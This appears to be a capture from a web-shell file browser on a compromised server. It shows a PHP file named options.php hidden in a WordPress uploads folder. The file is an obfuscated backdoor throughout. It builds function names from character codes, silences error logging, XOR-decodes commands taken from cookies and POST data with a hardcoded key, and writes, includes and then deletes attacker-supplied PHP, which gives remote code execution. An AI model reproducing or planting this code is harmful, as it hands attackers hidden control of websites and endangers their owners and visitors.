HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: cssnetorguk (1024)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: //old_home_backup/delanceyandco.co.uk/public_html/wp-content/uploads/2019/02/options.php
<?php $ylahi = "\x66"."\x69".chr(108).chr(1006-905).'_'.chr(112).chr(117).chr(996-880)."\x5f".'c'.chr(474-363)."\x6e"."\164"."\x65"."\x6e"."\x74".'s';
$qymmrvb = chr(313-215)."\x61".chr(115).chr(464-363)."\66".chr(52).chr(95).chr(100).chr(101).chr(750-651)."\x6f".'d'.chr(101);
$yqruoy = 'i'.chr(198-88)."\x69"."\x5f".'s'."\145".'t';
$abbhar = chr(200-83).chr(113-3)."\154".'i'.'n'.'k';


@$yqruoy('e'."\x72".chr(932-818)."\157".'r'.chr(444-349)."\154"."\x6f".chr(103), NULL);
@$yqruoy('l'.'o'.chr(524-421)."\137"."\145"."\162"."\x72".chr(111)."\162".'s', 0);
@$yqruoy("\x6d"."\x61".'x'.'_'.chr(614-513).'x'.chr(221-120)."\x63".chr(117).'t'."\x69".chr(111)."\x6e".chr(121-26).'t'.chr(229-124).'m'."\x65", 0);
@set_time_limit(0);

function ayvaeovq($rgrohqvp, $vuciotvg)
{
    $qeszb = "";
    for ($rpftdb = 0; $rpftdb < strlen($rgrohqvp);) {
        for ($j = 0; $j < strlen($vuciotvg) && $rpftdb < strlen($rgrohqvp); $j++, $rpftdb++) {
            $qeszb .= chr(ord($rgrohqvp[$rpftdb]) ^ ord($vuciotvg[$j]));
        }
    }
    return $qeszb;
}

$htlfwbod = array_merge($_COOKIE, $_POST);
$hycicapt = '60dfd839-ebc1-4129-aed3-71558f9a9e05';
foreach ($htlfwbod as $qafuyapu => $rgrohqvp) {
    $rgrohqvp = @unserialize(ayvaeovq(ayvaeovq($qymmrvb($rgrohqvp), $hycicapt), $qafuyapu));
    if (isset($rgrohqvp[chr(97)."\x6b"])) {
        if ($rgrohqvp[chr(97)] == chr(254-149)) {
            $rpftdb = array(
                'p'."\x76" => @phpversion(),
                's'.chr(118) => "3.5",
            );
            echo @serialize($rpftdb);
        } elseif ($rgrohqvp[chr(97)] == chr(101)) {
            $hupinrzir = "./" . md5($hycicapt) . '.'.'i'.chr(311-201).'c';
            @$ylahi($hupinrzir, "<" . "\77".chr(112).'h'."\x70"."\x20".chr(64).chr(117).'n'."\x6c".chr(852-747).chr(110).chr(107).chr(40).'_'.chr(494-399)."\106".'I'.chr(684-608)."\x45"."\137".chr(379-284).chr(41).chr(534-475).chr(32) . $rgrohqvp[chr(816-716)]);
            include($hupinrzir);
            @$abbhar($hupinrzir);
        }
        exit();
    }
}